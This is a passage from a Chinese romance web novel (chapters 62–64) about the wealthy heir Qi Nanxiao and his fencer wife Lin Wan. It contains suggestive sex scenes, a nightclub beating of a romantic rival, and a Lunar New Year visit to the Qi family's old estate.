祁南骁把林晚挡在身后,一手举着锅盖当盾牌,如常道:“你别走那么近,等下油迸到你。” 林晚看了眼灶台,上面一口平底锅,锅里还煎着冒烟的鸡蛋,里面的油四处乱蹦跶,唯一的锅盖还在祁南骁手里:“怎么想做早餐了?” 祁南骁一边躲着,一边道:“想做就做了。” 林晚看他这副左闪右闪的样子,忍不住笑:“你越是躲,那油越是喜欢往你身上迸。” 话音刚落,祁南骁吃痛嚎了一声,闪到一边捂着右眼,油迸到他的眼皮。 林晚赶忙把锅盖盖上,关上火,走到祁南骁面前:“我看看。” 祁南骁把手拿开,右眼微微眯起,掐着林晚的腰就把她抱在桌子上,然后整个人贴着她。 这个姿势正好方便林晚帮他看眼睛。 林晚一眨不眨的盯着祁南骁的眼睛看,她在检查他的眼睛,祁南骁在看她的脸。 油迸到祁南骁的眉毛下边一点,眨几下眼睛就没事了,林晚道:“下次小心点,别做油炸的东西了。” 祁南骁盯着她的眼睛,微微倾身,捏着林晚的下巴就吻了下去。 她嘴里有淡淡的薄荷味,祁南骁掌心贴着她的脖颈,牵引着她仰头,碾着她的唇,撬开贝齿,勾着她,吮吸着她 吻到情/动时,祁南骁直接抱着她往门口去,林晚被动环着他的脖子,祁南骁把她的腿往上抬了下,好圈着自己的腰。 他一步一步往楼梯去,边走边亲她的下巴、锁骨、一路往下直到胸前。 林晚早就红了脸,她下意识阻止,可她这点力气在祁南骁面前犹如蚍蜉撼大树,丁点用都没有。她真的怕佣人路过见到这副模样。 祁南骁知道她担心这个,三步并两步往楼上走。 上楼梯的时候,祁南骁的腰身带动胯不断往上戳,林晚被激得又羞又紧张,直接把头缩在祁南骁后背。 这个动作正好方便他吃兔兔。 祁南骁喉咙滚动,张口缓慢有力的品食。 林晚死死咬住嘴唇,她只想尖叫。 进了卧室,祁南骁脚踝把门勾上,林晚忍不住喉间溢出呻吟,白嫩嫩的脸上早就染上动人的粉,眼睛里像是有水气。 到了床边,祁南骁温柔的把她放下,随即整个人压在她身上,他半跪着,给她足够空间。 林晚咬着唇:“我要去运动了。” 祁南骁掌心钻进她的衣摆里,掌间的热度带着危险信息在她腰下作乱,他眸光渐暗说:“现在也可以运动。” 林晚:“?” 还没张嘴反驳,异样便让林晚思绪飘远。 “祁南骁!” 声音急促的、软绵的,隐忍的,呻吟的 祁南骁被她的表情成功的取悦到,他坏笑着继续。 林晚眼尾含着泪,睫毛湿漉漉的,求救似的看着他,难耐的扭着身子往他那里凑。 祁南骁低身,凑近她的脸,呼吸打在她脸颊上,把那里的绒毛都吹得乱了起来。 “别急,宝贝。” 林晚咬着唇:“你混蛋。” 祁南骁低头轻吻她的唇瓣:“放松点。” 林晚偏不听他的,狠狠缩紧。 祁南骁感受到指间上的力度,低笑一声:“咬太紧了,等下咬我的时候也这样好吗?” 林晚眼泪都被逼出来了,惨兮兮蓄在眼眶里。 祁南骁轻吻她的眉心:“老婆,我爱你。” “” 话音落下,林晚紧紧攥住床单,难耐的闭上双眼,泪水顺着眼尾落下。 “” 身体蜷缩时,林晚本能地靠近祁南骁,抱着他的肩膀,指尖情不自禁的划过他硬块般的肩胛骨。 她闭着眼,眼睫被打湿,声音从她喉间断断续续溢出,说什么也没用,在这种事情事情上,祁南骁根本不会听她的。 “” 清晨的微风吹起窗帘的一角,却吹不散室内的旖旎。林晚躺在床上,身体不断的往外冒着热气,蒸得被子染上了别的气味。 祁南骁连续运动了半个多小时,他倒一点也不疲惫,神采奕奕的换起床单。 林晚不愿意让佣人来打扫他们的房间,所以每次夫妻俩运动完,祁南骁都会主动收拾残局。 林晚被祁南骁用床单裹成蚕蛹,看着他裸着上半身忙上忙下的,清晨的阳光窸窸窣窣洒满一室,映着他的腹肌线条更加分明,诱人。 林晚喉咙里渴得要命,情不自禁咽了下喉咙。 祁南骁刚好捕捉到这一刻,似笑非笑的盯着她:“再来一次?” 林晚秒懂,气不过瞪他:“滚!” 祁南骁走过来抱着她,温声道:“那你干嘛对着我咽口水。” 林晚气呼呼道:“我是口渴了。” 祁南骁低笑出声,转身从床头柜上端起一杯水,笑着道:“怪我,刚刚你失水太多,我都没有及时给你补水。” 林晚喝一半差点没呛住,奈何她现在整个人都被捆在被子里,根本动不了他,只能气鼓鼓的给他一个眼刀。 祁南骁宠溺的刮了下她的鼻梁:“洗澡吗?” 林晚忍无可忍:“我自己洗。” —— 城南,靠近银泰广场。 这里最不缺的就是夜店,最有名的是一家名叫‘PAPA’的夜店,会员制,主打秀场,隐私性极好,专为有钱人服务,是京市有名的消金窟。 从远处望过来,这里就是一团七彩团雾,整条街最不缺的就是各种价值不菲的超跑、豪车,发动机低音炮的震动似是心跳声。 雨不断往下落,黑色宾利停在夜店门口,朦胧的车灯里雨丝如织,似乎起了薄薄的雾,斑斓的精神勾引让这条街沉沦得更加浓稠。 夜店经理看见车牌号连号的1,当即举着伞毕恭毕敬上前站在车子外,迎接车里的人下来。 祁南骁滑下半边车窗,经理撑着伞走进,遮住下落的雨滴:“祁先生,晚上好。” 祁南骁手指搭在窗边沿,贪凉这冬夜的冷风。 经理不动声色的打量着,烟雾缭绕的车里如密织的布,薄如纱,等风散尽,他看到车里的男人半隐在黑暗中,双目微阖,眉心微蹙,沉默中略带着不耐。 后座扶手上的高级木纹饰板映着霓虹灯的色彩,在沉寂中迸发。 祁南骁掀起眼皮,冷声问道:“人在哪?” 雨声嘈杂,夜店经理半弯着身道:“在3301包间,一共是三个人,点了10个公主,监控已经安排人撤下了。” 祁南骁垂下眼眸,将手里的烟蒂按灭在木纹中控的烟灰缸里,他扣上黑色风衣扣子,经理当即帮他开门,一尘不染的皮鞋踩地。 经理撑起伞将下车的祁南骁笼罩住,伞沿微微倾斜挡住不远处的车灯光线。 宾利车身后还有两辆黑色路虎,车上下来好几个身材高大的保镖,一看就是练家子出身的,气势逼人。 这副模样引得路人忍不住拿出手机,却发现保镖很有秩序统一打开黑伞护住圈子中的心的人。 远处的路人只能依稀从人群缝隙里看到一道帅气的身影,1米88的身高撑起黑色长款风衣,男人侧颜轮廓优越,鼻骨高挺。 明明灭灭的灯光,让一切好像变成了慢动作,有一种人他即便只是露出一个侧影,他身上的权贵气质会情不自禁的让人望尘叹步。 VIP包间里,沈怀川正在跟一个身材如水缸般的商业伙伴应酬。这个商业伙伴出了名的好色,让一众美女陪他玩脱衣舞,等到女人个个衣着单薄后,又陪他玩捉迷藏,蒙住眼睛,男人随意的抓住一个女人,手掌肆意地游走在她的身上,探索着每一处曲线。 高兴之余,水缸男人便把桌上堆叠的现金随意撒,让女人去抢,甚是纸醉金迷。 沈怀川靠在沙发上,沉默的看着眼前的一切,他的身旁还坐着一位长相艳丽的女人蜜蜂腰,皮肤白,身材好,是这家夜店很有名的交际花,出场费六位数。 水缸男人玩累了转头就拉着沈怀川身边的女人就要亲。 “沈总。” 女人惊慌失措的看着沈怀川,她的眼睛跟林晚的很像,至少沈怀川是这么觉得的。看着他时,会让他有一种和林晚对视的感觉。 沈怀川喝了些酒,思绪有些乱,他直勾勾的看着女人,仿佛要从她身上看到林晚的身影。 如果当初他早点回国,林晚是不是就不会被祁南骁抢走了。如果他早点出手救她,她是不是就不会被逼着嫁人了? “沈总。” 女人怯懦的声音拉回了沈怀川的思绪,他淡漠的开口:“李总,婉婉今晚身体不太舒服。” 婉婉是沈怀川给女人取的小名。 水缸男人闻言,脸色有些难看。好事被人打断,心里烦躁得厉害,正要跟沈怀川讨价还价时,包间门被人从外面踹开,一下子就把他给惊醒了。 沈怀川眼眸犀利的看向门口。 祁南骁背着光往里走,若隐若现的灯影打在他挺立的眉眼上。 包间里的重金属音乐撞击着耳膜,鼓点点燃了紧张的氛围。 水缸男人黑着脸,怒气冲冲的起身朝祁南骁走去,却在半路被保镖直接推搡倒地。 他怒不可遏抬头就看到一道颀长的身影从保镖身后走出来,慢条斯理的坐在沈怀川对面,淡淡的灯光隐隐打在他的脸上。 待看清那人五官后,水缸男人顿时吓得直哆嗦。 “祁先生。” 祁南骁没看他,只是淡定的点了根烟,淡淡道:“这是我跟沈怀川之间的恩怨,不想死的赶紧滚。” 话音落下,水缸男人立马手脚并用爬起身往门外跑。那速度丝毫看不出他是个胖子。 笑话,京市祁家,谁敢惹?不走,难道留下来被他连坐吗?真是倒霉催的,沈怀川怎么会跟祁家有恩怨,这合作幸好还没确定,否则要是被连累了,他连哭都不知道去哪里哭。 水缸男人走了,包间里的女公关们也不约而同的离开。 一时间,包间里,只剩下祁南骁和沈怀川。 沈怀川神色冷冷:“祁南骁,你什么意思?” 祁南骁抽着烟,视线微垂落在不远处的水晶烟灰缸上但笑不语。 沈怀川注意到他夹烟的手指上的婚戒,他沉着脸出声讽刺:“别以为你娶了小晚就可以得到她。你了解她吗?跟她有共同的爱好吗?我跟她青梅竹马时,你连在哪儿都不知道。你不过是有个好爷爷,趁人之危给你定下这门亲事,卑鄙。” 祁南骁脸上笑意敛去,气氛陡然变得压抑锋利,原是伸手弹烟灰的,闻言他毫不犹豫的抄起桌上的水晶烟灰缸挥手就朝沈怀川方向砸去。 沈怀川侧身避开,玻璃四溅,昏暗中他还没反应过来,就被祁南骁扯住衣领,身体还没完全转向,肩窝一阵剧烈疼痛。 “祁南骁。”沈怀川冷声大叫。 刚落音,祁南骁抬脚对着他的膝盖狠狠一踹,沈怀川猝然跪倒在地。 祁南骁眼疾手快扯住他的头发,往上一提,对着沈怀川的脸就是狠狠的一拳。 沈怀川疼得头晕目眩,嘴里全是血腥味。 冰冷的地板刮蹭着他的五官,沈怀川被祁南骁按倒在地,反手钳制,根本没有反抗余地。 祁南骁从小到大跟家里的保镖练拳击,一身力气,沈怀川即便之前是运动员也依然不是他的对手。 整个包间里里外外都是祁南骁人,沈怀川现在是叫天天不应,叫地地不灵。 祁南骁有恃无恐,面无表情地狠狠踩着沈怀川的胳膊。 沈怀川痛苦叫出声,头上汗如雨下。 “就你这个弱鸡也配喜欢林晚?”祁南骁嗤笑,然后蹲下扯着他的头发很是羞辱的拍打他的脸,啪啪啪,一声比一声脆:“上次我就警告过你,别好好的人不当当狗,你不听。” “既然如此,那我今天就再给你长长记性。” 语毕,祁南骁抓着沈怀川的头发往瓷砖上狠狠一撞,他眼眸冷如霜:“把你不服气的眼神给老子收回去,我最后一次警告你,别他妈的去招惹林晚。她现在是我老婆,不是你能随便碰的人。别以为你有秦东言,我就不敢弄你,就算你是秦东言亲兄弟,我也有的是手段弄死你。” 第63章  餍足 医院VIP病房里, 沈怀川从疼痛中醒来,脑子里全是不久前,祁南骁嚣张跋扈打完他, 居高临下睨着他,从保镖手里接过湿纸巾, 慢条斯理的擦干净手,还把湿纸巾扔他脸上。 这种无声的鄙夷和羞辱,让沈怀川久久难以咽气。 从他成为京市新贵开始, 出门在外都是被人追捧着, 从来没有像今天这样受到如此奇耻大辱。 沈怀川沉着脸, 一通电话打给秦东言。 彼时秦东言正在声色犬马场所里纸醉金迷, 音乐剧烈的撞击声还有此起彼伏的女人喘息声,沈怀川一改往日的儒雅, 怒不可遏的道:“都什么时候了,你还有心情玩女人。” 秦东言不以为意讥笑出声:“你受什么刺激了?” 沈怀川咬牙切齿:“我要祁南骁不得好死。” 晚上十二点整。 祁南骁坐在车里,掐灭烟蒂,保镖恭敬拉开车门撑着伞。 祁南骁下了车, 雨还在下,光线昏暗, 他接过保镖的伞迈步往家去,路灯倒映在地面的积水上,滴水坠地, 波澜的水面骤然掀起一片涟漪。 到家,林晚还没睡, 她靠在床上看书,闻声抬起眸道:“莫白说你有应酬,我刚要给你打电话来着。” 祁南骁脱下外套扔在沙发上, 走了床边:“有点事耽搁了,怎么还没睡?” 林晚倾身抱住他的腰,低声呢喃着:“习惯你睡我旁边了,没了你还真是不习惯。” 他身上的高领毛衣还带着湿意,即便卧室里开始暖气,林晚还是被这湿意给冰到,却也没放开他,紧紧抱着他。不知何时,他们早已有了生理性的依赖。 祁南骁不说话,把林晚从怀里拉了出来,急切的吻落在她唇瓣上、脖颈、耳垂、锁骨 林晚躺在床上被亲的筋骨酥软,全身心的依赖他、接纳他。她微微张着唇,抱着他的头,媚眼如丝。 祁南骁只觉得今晚的林晚像是晨间坠着露水的花,充盈饱满,待到阳气入侵,花苞绽开,空气里都是香甜的气息。 一晚上,两人从卧室到浴室再到衣帽间全身镜前 祁南骁似乎很喜欢衣帽间的全身镜,这里暖气充足,就连平日里冰凉的镜面也被烘得起了一片水雾,又被兔兔抹了去,只留下清晰的汗迹和圆润。 林晚透过镜子清楚的看见背后的男人,他抱着她,低头亲吻她的脖颈,高挺的鼻梁刮过她的肩膀、蝴蝶骨,侧腰 卧室的灯已经关掉了,只有衣帽间的灯还亮着。镜面的圆润痕迹上不知何时多了一双宽大的手背印迹。 林晚不用低头就知道男人修长的手掌压着她的 他的手很好看,手掌宽厚,手指修长,手背青筋血管很粗,蓬勃有力,单看就很性感,小麦色的肤色裹着白皙如雪,极具视觉差。 两人的呼吸升温极快,从温到热好像只是转瞬间,祁南骁伸手把林晚翻过身,林晚抬手搂住祁南骁的脖颈。 万籁俱寂间,只剩下彼此之间的呼吸鼻息,还有交织在一起后的愉悦声响。 光束收拢,变得愈发狭长,虽然已经是一月底了,但室外依然是冰天雪地,窗户上凝了一层朦朦胧胧的雾气,将室内的旖旎完好的挡住。 只剩下两道交叠的身影。 林晚感觉自己现在就是海面上小小的船只,好不容易在上一波白浪中侥幸喘口气,却又被下一波无情卷走。 连绵细雨般的愉悦降临,那一刻林晚只能紧抱着祁南骁的脖颈,试图在他身上找到可以倚仗的支撑点,殊不知所有的风暴都是他带来的。 他的腰背肌肉强大到令人发指,爆发力、耐力、核心力像是用不完的宝藏,动起来的时候强劲又刁钻 半个小时候后,林晚被祁南骁抱着泡在浴缸,她的脑海依然是一片空白,昏昏沉沉的。 林晚本就是运动员,体力比一般人的都要好。即便如此,也被祁南骁折腾到累得不行。 祁南骁时常精力旺盛,以前都是靠拳击、运动来消耗,和林晚在一起后,精力非但没减,反而比之前更加旺盛了。就连他自己都不知道,原来他是个重/YU的人。 洗完澡,林晚已经没什么力气了,任由祁南骁帮她穿衣服。 餍足后身体完完全全的放松让她有点犯困,纵使现在全身的体温依然不减,她也没力气去反对祁南骁搂着她睡了。 林晚的发量很多,躺下来时如一匹绸缎散在床上,不施粉黛的小脸儿带着困倦,有一种纯净的朦胧感。 祁南骁一边帮她按摩头皮,一边温声问:“下星期就要过年了,今年你想在哪过?” 林晚抬眸,眼底含着笑意:“我要说回我家过,你也跟我走?” 祁南骁摸了摸她的头:“除夕那晚陪爷爷吃顿饭,其它时间你去哪我就去哪。” 林晚有些诧异,他会在家族和她之间选择和她一起过年。她说这话本来就只是跟他开个玩笑。 “你家不是很多亲戚吗?你身为继承人不应该留下来应酬吗?” 祁南骁轻声细语:“他们可以自己过,我只想陪你过。你想去哪过?国内不行还可以去国外。” 林晚无语道:“人家外国人都还得来咱们这体验春节,我们还出国去过春节是不是钱多?” 祁南骁笑了:“是挺多的,你给我生一个足球队都花不完。” “想得美。”林晚横了他一眼:“我跟你开玩笑的,今年是我们结婚后的第一个新年好好陪爷爷一起过。年后再一起去医院看我爸。” 祁南骁既意外又暖心,掐着林晚的下巴,吻在她唇上。其实过年,祁家在世界各地的负责人都会回到老宅团圆商量新年的行业计划,他作为祁家掌权人的确在整个过年期间会很忙碌。 可一想到林晚家里只剩下她一个人了,唯一的亲人还躺在医院里,他的心跟着被攥住似的,心疼不已。如果出去过年会让林晚更有安全感,那他便陪着她。 这个吻,吻得很久,久到林晚快要窒息了,祁南骁给她渡了口气,数秒后放开她。 林晚没什么力气,躺在床上像是被抛掷上岸的鱼,急促的呼吸着。 祁南骁鼻尖扫过她的脸颊,低头,想要再次探吻,林晚侧头避开,喘着气道:“你够了啊。” “怎么办,好想把我给你。”祁南骁低声诉语。 林晚是怕了,祁南骁在床上是毫无节制。 “我拒绝。” 祁南骁眼底含着笑,打趣道:“这就不行了?” 林晚哼唧一声:“就你行?” 祁南骁扣着林晚的手腕,一寸一寸的捋开她的手指,和她十指相扣,眼眸深情的看着她:“我行不行,你不知道?” 他说话的时候,眉眼温柔缱绻,声音低沉性格,醇醇的,带着点清脆。 林晚心脏砰砰乱跳,她承认自己有被诱惑到。看他眼眸逐渐认真,林晚连忙求饶道:“我没力了,咱们睡觉吧好不好?” “好啊。” 祁南骁满口答应,目光却落在她锁骨下方,他眼神炽热露骨,里面是填不满的索取和对她的渴望。 “祁南骁?” “没事,不用你出力。我会好好伺候你。” 祁南骁低头吻着她的脖颈一路向下,直至目的地。 林晚抓住祁南骁的头发,又忍不住按住他的头,难耐道:“你混蛋!” 祁南骁微微抬头,擦掉嘴唇上的晶莹,笑着道:“尝尝?” —— 祁家人口多,直系分布在海内外各个分公司担任负责人,旁系在各行各业都有所建树。 祁占山作为祁家的定海神针,是祁家最德高望重的人。逢年过节各地的祁家人都会前往老宅探望他。祁南骁是祁家的掌权人,过年自然是最忙碌的。 年度汇报、家族应酬、聚会各种活动不断。好几次回家,林晚都发现他身上一股子酒味。比起祁南骁,林晚的生活简单许多。训练、回家两点一线,祁南骁倒是有问过她要不要陪他出去见客应酬,都被她给拒绝了。 过完年,四年一次的奥运会即将开始,林晚想专心冲奥运会,拿奖。 也因为林晚的低调,圈内不少人谣传祁南骁和妻子感情不和,嫌弃自己妻子身份低微等谣言。 林晚听说时哭笑不得,倒是祁南骁气到不行,扬言要挨家递话去‘提醒’,被林晚给及时制止住了。年关将近,还是少生事端。 击剑队一直到年30这天才开始放假的。这段时间祁南骁一直都是老宅和柳山别墅两头跑。林晚不排斥去老宅,只是一想到现在的老宅里里外外都是亲戚,大多数对她来说还都是陌生人,她就有点怵。 祁南骁似乎是看透她的心思,年29晚上陪她在柳山别墅过夜。 第二天早上,林晚早早起床吃完早餐便画了个淡妆。从衣柜里拿出一件天蓝色旗袍。 这件旗袍是冬衣款,袖口还有一圈白色绒毛。 祁南骁从浴室出来后,全身上下只围了件浴巾直接进了衣帽间,一进来便看到美得不像话的林晚。一身天蓝色修身旗袍,收腰修身款将她的身材曲线完美的展示出来。她外面还搭了一件白色绒毛披肩,长发披肩。 就像是这冬天里的精灵,美得毫不费劲、美得生机勃勃。 祁南骁走过去挑了套首饰给林晚戴上。 耳钉是红宝石吊坠,项链是翡翠,手腕上扣着金镶玉翡翠手镯,这些首饰是当初祁占山送给林晚的,当时她死活不敢收。没想到兜兜转转最后她还是成了这些首饰的主人。 墨绿色的手镯闪烁着暗光如一条银河环绕在白皙的手腕间,衬得林晚的皮肤格外的好看。 “真好看。”祁南骁握着林晚的手低头在她的手背上落下一个吻。 林晚撇嘴:“我这身上戴着一套京市的四合院 ,能不好看吗?” 祁南骁忍俊不禁。 林晚转着了转手腕上的翡翠镯子,轻声问他:“这套首饰祁家媳妇都有吗?” 祁南骁摇头:“只有你有。” “啊?” “祖上传下来的最值钱的就是这一套。” “那你们都是怎么选继承人的?” “每一辈直系的长子继承绝大部分。如果长子不行就换次子。最后在这群人里选出最适合的当祁家掌权人。” “旁系呢?” “从政、从JUN的比较多。” “你们不怕旁系日渐壮大吗?” 祁南骁笑了笑:“不会。” “为什么?”林晚不理解。 祁南骁道:“因为当权者不允许如此有人这么做。有权还富可敌国,谁都会不安心。如果哪个旁系敢狼子野心占有祁家。必须得在上面默许的情况下,他还要做到两点。第一他要做到位高权重,第二他要有绝对碾压直系这一脉的海内外所有力量。这两者做到哪一个都得拼尽三代人的力量。何况,旁系需要直系的势力来支持他们走到业内金字塔,没有必要和直系为敌。” 林晚喔了声:“这就是百年世家的底蕴?” 如此自信且游刃有余的操纵人心。 祁南骁但笑不语。 “你们家不应该让你娶一个门当户对的妻子吗?” 林晚想不出,祁占山为何会选她当孙媳妇,就算是林国冬救过他一命,他也不至于逼祁南骁把她娶进门,祁家完全只用他们的势力保护好她跟林国冬就好。 祁南骁想了想道:“除了爸救过爷爷的原因,还因为你是爷爷看着长大的,他对你的品性很放心,是真心喜欢你。最后一个原因嘛,你的身份对祁家来说是最好的名片。” 林晚想不明白,她的身份对祁家怎么就是名片了。 祁南骁无声地,缓慢地笑了:“娶一个奥运冠军比娶一个名门千金可光荣多了。祁家到了现在这个体量已经不需要再拉帮结派了,名门千金对祁家来说并不稀有,但奥运冠军只有一个。” “所以,老婆你不需要妄自菲薄,用爷爷的话来说,能娶到你是我高攀了。再高贵的名门千金,也不及你披上国旗耀眼。” 林晚被他夸得都快红温了:“我现在还不是奥运冠军,你别乱说。” 祁南骁直勾勾的看着她,微红的脸,凹凸有致的身材,情不自禁搂住她的腰,趁机吃了一顿‘豆腐’:“迟早都是。” 林晚推开他,面无表情的看着他浴巾下面,咬牙切齿:“没那个定力就别玩火。” 祁南骁见她灵动的模样,忍不住搂着她的腰,放低声音叫道:“老婆” 声音低沉性感,只是叫了个昵称,林晚就仿佛听到了他想传递的所有念头。 林晚眼底闪过一抹戏谑,慢条斯理的抓住他的浴巾结子,白皙的手指轻点着他的腹肌,就在祁南骁眼眸越发深邃兴奋时。林晚面无表情的抵着他的腹肌推开他:“想都别想,我衣服已经换好了。” 祁南骁低声诱惑道:“我们可以不脱衣服,我就站在你身后,解浴巾就行。” 说完他单手搂住她的腰,把她压在全身镜前,蹭着她的耳后,故意发出令人遐想的喘息。 林晚被逼急了,直接一个巴掌拍他脑袋上:“你要是不听话,我明天直接搬回宿舍住。” 体育局有给运动员分配宿舍,真要是让她搬去宿舍住,祁南骁就是想跟去也没办法,毕竟那可是两个运动员住一间的。不是单人间,这可要了祁南骁的命。 果然,祁南骁听到这个威胁,乖乖举手投降,倒是不动手动脚了,转而动嘴了:“老婆,晚上你就穿这件衣服跟我/做好不好?裙子掀起来,我从后面” 林晚听不下去了,转身对着他的侧腰一拧,祁南骁怕痒一个箭步跑远了。 趁着这个空荡,林晚立马跑出衣帽间。 ——— 除夕这天道路通畅,林晚和祁南骁简单收拾了点行李,带上家里的猫猫狗狗一起往老宅去。 陈嫂贴心的给蛋黄准备了一件喜庆的红色衣服,上面还有刺绣的福字。蛋黄这半年来胖了一大圈,穿上绵衣后就跟煤气罐似的,胖嘟嘟的。 一上车就自觉挤在林晚腿上趴着,布丁高冷的坐在副驾上,豆包傻傻的趴在地上。 祁南骁上车时就看到这一幕,有些无奈:“要不把它们仨打包送到保镖的车上?”他还想搂着林晚的腰,摸摸亲亲呢,有这三小只在,他压根碰不到她。 无它,因为蛋黄很黏林晚,而祁南骁干的最多的就是总在蛋黄黏着林晚时,把它抱走。 导致蛋黄看见祁南骁靠近林晚就应激,不让他碰林晚。 蛋黄还很聪明,从不挠祁南骁,每次祁南骁打扰它和林晚,它就喵喵叫,娇里娇气的,一边叫一边给林晚按摩踩踩。 比如此时,祁南骁一上车,蛋黄就趴在林晚肚子上,喵喵叫,一边叫,一边踩着林晚的肚子,圆溜溜的眼睛时不时的看向祁南骁。 林晚笑着摸了摸蛋黄的脑袋,很是无情的拒绝祁南骁:“要不还是你去坐保镖的车吧。” 祁南骁手指敲了敲座椅中间的木质纹饰的中控,意味深长的叹了口气,林晚马上侧头:“你干嘛?” “我在你心中的地位还没猫和狗的高。” 林晚:“” 半个多小时后,车子停在古朴的四合院前,门口,管家钟叔已经候着了。 祁南骁下车时,天空正好飘着雪,飘飘然落在他黑色大衣上,他接过对方的伞兜住正要下车的林晚。 林晚单手抱着蛋黄挽住他的小臂,她身穿冬款旗袍外搭白色绒毛披肩,他则是黑色长款呢大衣,隔着厚衣服,却扔能闻到到彼此的气息。 院子里的停车场已经停了不少豪车,比她上次来的时候多了不少。看样子,今天的老宅很热闹。 两人并肩往里走,祁南骁见她单手抱着蛋黄低声问道:“要不要我来抱?” 林晚摇头:“不用。” “它的跟煤气罐一样,还是别累着你了。” 蛋黄很是不满的喵了一声。 林晚宠溺的笑了笑:“我们蛋黄才不重。比我每天举的哑铃轻多了。” 蛋黄:“喵!” 祁南骁低声道:“也是,我们小晚体力这么好,都能跟我从晚做到早。” 林晚:“” 要不是现在在老宅,她高低要挠他痒痒。 进入老宅,一路上能碰到匆匆走过的佣人,都是从旁门、小道而过,看到祁南骁和林晚都会停下步子,微微颔首,远了就不坐声,近的就唤声招呼。 即便已经不是第一次来老宅了,林晚还是会被这种刻进骨子里的中式庄重所震撼。余光看了眼祁南骁,他倒是严肃的很,跟她平时见到的祁南骁完全不一样了。 似是感受到林晚的目光,祁南骁握着林晚的手,悄悄在她掌心上轻轻挠了下。 林晚:“” 果然,这人表面的正经都是装给别人看的,私底下还是那么骚里骚气的。也不知道爷爷那样的英雄人物是教出祁南骁这样闷骚的人。 直到两人走到前厅,有佣人过来帮宠物擦脚,有人帮他们拿外套。从进入老宅开始,处处都有暖气,就连走廊都没遗漏,身处这里面根本不会冷。林晚脱下披风,挽着祁南骁越过巨大的屏风步入前厅。 前厅里原本有十来个男人和女人正在轻笑闲聊的,看见他们走进来时,都很自然起身,或者坐的端正了些。 所有的视线都隐晦地落在林晚身上,而祁南骁也只是冲着他们微微颔首,并介绍林晚的身份。 众人闻言挨个和林晚打招呼,祁南骁在一旁给她挨个介绍这些人的身份。 什么堂哥姐、堂嫂、子侄远房亲戚 总之多到林晚根本就记不住。 有些人一开始对林晚并没有多重视,虽然林晚是祁南骁的妻子。可他们也听说了,这门婚事是女方上赶着嫁进来的,祁南骁并不喜欢这女人。 如今见到祁南骁亲自给林晚引荐,心里多了几分计较,毕竟这种事以往都是钟叔干的,并不需要祁南骁屈尊降贵。 祁南骁肯花时间在林晚身上,就表面他并不是完全不重视林晚。 再观其气质,落落大方宠辱不惊,根本不像传说中的那样小家子气,可见这个林晚还是有点能耐的。 如果林晚知道他们心中的腹诽,肯定哭笑不得,说实话,作为一名运动员,心理素质强是基本的技能。她连站在千万人观众席中间唱国歌都没紧张,又怎么会在这个时候紧张。 第64章  吃菠萝 见完前厅的客人, 祁南骁又带着林晚往内厅走去。 他们一走,前厅的客人各个神色各异。 内厅的客人显然比前厅的尊贵多了。有男有女,有老有少, 男的西装革履,女的英姿飒爽, 有好几个林晚在电视和财经杂志上见过。 他们见到祁南骁和林晚走来,除了年纪大的,其他人也都站起身打招呼。 祁南骁挽着林晚神态自若的走到祁占山身边。 祁占山原是一脸凛冽肃穆, 见到林晚走近, 眼神肉眼可见的从锐意转成慈祥:“小晚来了。” 众人见状, 神色微变, 皆是不动声色的在心里重新掂量起林晚的身份。 林晚对此一无所知,她自然的坐在祁占山身旁:“爷爷。” 她身后的豆包早已屁颠颠的走到老爷子腿边坐下, 伸出爪子讨好似的冲着老爷子笑。 祁占山眉开眼笑:“哎呦,豆包也来了,爷爷给你准备了好多好吃的。” “喵~” 祁占山寻着声音看去,就看到林晚脚边不知什么时候多了只煤气罐, 他诧异道:“这是哪个小东西?” 林晚笑着把蛋黄抱起来:“爷爷,它叫蛋黄。” 老宅也是有养宠物的, 祁梦在这养过猫和卡皮巴拉。 祁占山并不排斥宠物。管家很有眼色的给祁占山递来了宠物零食。 祁占山挨个投喂丝毫不打算理会沙发上的众人。拉着林晚问了蛋黄和布丁的来历。 倒是让林晚省去应酬的麻烦,陪老爷子可比跟亲戚们打交道轻松多了。 祁南骁则顺势坐在主位泡茶和几位亲戚聊起正事。 林晚偷偷拿余光喵他,他倒是全程冷淡的很, 大多时候都没什么反应,听几个亲戚聊行业局势。 在生意场上雷厉风行的祁南骁, 在爷爷面前调皮捣蛋的祁南骁,在她面前时吊儿郎当的祁南骁、在外略显神秘的祁南骁,都和现在的这个人毫无关系 今天的老宅是前所未有的热闹, 几乎所有直系的祁家人都带着自己的家人回来了。 林晚见到了祁梦的爸爸,祁南骁的堂哥,这位也是个风云人物,之前一直是娱乐圈的资本大佬。 洛梵跟她八卦过,好几个一线女明星都跟他有过瓜葛。之前孔怜的亲生母亲就是他的众多情人之一。 早年纵容小三逼死原配被祁占山出面亲自打压,从此彻底远离家族核心企业,当一个闲散富三代。 祁占山对他打也打了,骂也骂了,彻底放弃他。甚至怕他到处播种,还把人抓到医院给做了结扎。 现在他连内厅都进不去。 也幸好,祁家有规矩不是明媒正娶的不许进祁家门,不是原配生的祁家不许认。不然照这位之前播的种,祁家迟早得上演宫斗戏。 祁家家大业大,总有几个歪瓜裂枣的,但也有一表人才的。 林晚从步入内厅开始就注意到坐在祁南骁身旁的女人。这位年纪30出头,五官大气端庄,眉眼凌厉且高远。 全身上下都透着一种厚重磅礴的气势。这是事业的成功以及人生阅历带给她的底气。 她是祁南骁的堂姐,祁昭懿,这位在科技圈里是大名鼎鼎。 林晚之前就听说过祁昭懿的事迹。 同为女性,林晚由衷的敬佩她这样的女人,矜贵且强大。 祁昭懿大学就读于麻省理工电气工程与计算机科学系,在校期间和三个华人留学生共同研究机器人控制系统。 毕业后便拿到家族的创业基金和三个同学创立了智星科技,这家一开始只有四个研发者的科技公司从此开启了属于她们的科技之光。 从一开始的机械臂到机器狗、机器人,还有很多项目据说已经被军/工收编了,其中许多关键技术就是祁昭懿带领团队一起攻克的。 真正做到全国产化,即便被国外科技公司联合制裁打压,她们依旧抗住压力并且成功反制。 家用电器智能一体化、智能医疗设备、农业机械智能设备等许多关键技术就由这家公司提供。 在科技圈还是由男性占据主导地位的时代,祁昭懿带领她的团队拼出一条血路成功坐上了谈判席。 最让林晚敬佩的是,祁昭懿力排众议坚持研发的智能妇科检查设备取替常规的鸭嘴钳检查。 传统检查需要通过外力暴露宫/颈才能进行取样,放置鸭嘴钳的过程很多女性会感到不适。 